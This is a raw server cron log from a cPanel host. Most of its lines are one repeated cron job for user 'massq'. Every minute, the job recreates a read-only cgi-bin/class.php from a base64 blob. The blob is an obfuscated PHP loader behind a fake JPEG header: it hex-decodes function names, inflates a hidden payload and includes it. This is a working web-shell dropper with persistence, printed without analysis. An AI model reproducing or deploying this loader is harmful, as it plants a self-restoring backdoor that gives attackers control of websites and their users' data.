Sep  5 22:58:01 server CROND[25757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:58:01 server CROND[25758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:59:01 server CROND[26135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:59:01 server CROND[26136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:59:01 server CROND[26137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:00:01 server CROND[26575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:00:01 server CROND[26577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:00:01 server CROND[26579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:00:01 server CROND[26584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:00:01 server CROND[26585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:00:01 server CROND[26592]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 23:00:01 server CROND[26583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:00:01 server CROND[26582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:00:01 server CROND[26593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:01:01 server CROND[27462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:01:01 server CROND[27464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:01:01 server CROND[27463]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 23:01:01 server CROND[27465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:01:01 server run-parts(/etc/cron.hourly)[27463]: starting 0anacron
Sep  5 23:01:01 server run-parts(/etc/cron.hourly)[27482]: finished 0anacron
Sep  5 23:02:01 server CROND[27870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:02:01 server CROND[27871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:02:01 server CROND[27869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:03:01 server CROND[28283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:03:01 server CROND[28284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:03:01 server CROND[28285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:04:01 server CROND[28647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:04:01 server CROND[28648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:04:01 server CROND[28649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:05:01 server CROND[29025]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 23:05:01 server CROND[29026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:05:01 server CROND[29028]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:05:01 server CROND[29029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:05:01 server CROND[29033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:05:01 server CROND[29034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:05:01 server CROND[29035]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:05:01 server CROND[29032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:05:01 server CROND[29036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:06:01 server CROND[29959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:06:01 server CROND[29960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:06:01 server CROND[29961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:07:01 server CROND[30326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:07:01 server CROND[30327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:07:01 server CROND[30328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:08:01 server CROND[30703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:08:01 server CROND[30704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:08:01 server CROND[30705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:09:01 server CROND[31100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:09:01 server CROND[31101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:09:01 server CROND[31103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:09:01 server CROND[31102]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
